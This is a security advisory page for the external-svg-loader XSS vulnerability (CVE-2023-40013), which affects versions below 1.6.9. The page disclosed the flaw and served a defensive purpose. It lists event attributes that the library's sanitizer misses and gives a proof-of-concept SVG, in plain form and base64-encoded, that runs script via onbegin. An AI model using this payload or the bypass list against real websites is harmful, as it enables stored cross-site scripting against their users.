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GoogleOSV:GHSA-XC2R-JF2X-GJR8

HistoryAug 14, 2023 - 9:32 p.m.

external-svg-loader Cross-site Scripting vulnerability

2023-08-1421:32:27

Google

osv.dev

svg

loader

cross-site scripting

7.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L

0.001 Low

EPSS

Percentile

21.6%

JSON

Summary

According to the docs, svg-loader will strip all JS code before injecting the SVG file for security reasons but the input sanitization logic is not sufficient and can be trivially bypassed. This allows an attacker to craft a malicious SVG which can result in XSS.

Details

When trying to sanitize the svg the lib removes event attributes such as onmouseover, onclick but the list of events is not exhaustive. Here’s a list of events not removed by svg-loader.
onafterscriptexecute, onbeforecopy, onbeforecut, onbeforescriptexecute, onbeforetoggle, onbegin, onbounce, onend, onfinish, onfocusin, onfocusout, onmousewheel, onpointerrawupdate, onrepeat, onsearch, onshow, onstart, ontoggle(popover), ontouchend, ontouchmove, ontouchstart
As you can see in the POC we can use onbegin in animate tag to execute JS code without needing to add data-js="enabled".

PoC

&lt;svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"&gt;
  &lt;animate onbegin=alert(1) attributeName=x dur=1s&gt;
&lt;/svg&gt;

&lt;html&gt;
    &lt;head&gt;
        &lt;script src="./dist/svg-loader.js" type="text/javascript"&gt;&lt;/script&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;svg data-src="data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogIDxwb2x5Z29uIGlkPSJ0cmlhbmdsZSIgcG9pbnRzPSIwLDAgMCw1MCA1MCwwIiBmaWxsPSIjMDA5OTAwIiBzdHJva2U9IiMwMDQ0MDAiLz4KICA8YW5pbWF0ZSBvbmJlZ2luPWFsZXJ0KDEpIGF0dHJpYnV0ZU5hbWU9eCBkdXI9MXM+Cjwvc3ZnPgo="&gt;&lt;/svg&gt;
    &lt;/body&gt;
&lt;/html&gt;

Impact

Any website which uses external-svg-loader and allows its users to provide svg src, upload svg files would be susceptible to stored XSS attack.

CPENameOperatorVersion
external-svg-loaderlt1.6.9

CPE	Name	Operator	Version
	external-svg-loader	lt	1.6.9

References

github.com/shubhamjain/svg-loader

github.com/shubhamjain/svg-loader/blob/main/svg-loader.js#L125-L128

github.com/shubhamjain/svg-loader/commit/d3562fc08497aec5f33eb82017fa1417b3319e2c

github.com/shubhamjain/svg-loader/security/advisories/GHSA-xc2r-jf2x-gjr8

github.com/shubhamjain/svg-loader/tree/main#2-enable-javascript

nvd.nist.gov/vuln/detail/CVE-2023-40013

7.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L

0.001 Low

EPSS

Percentile

21.6%

JSON

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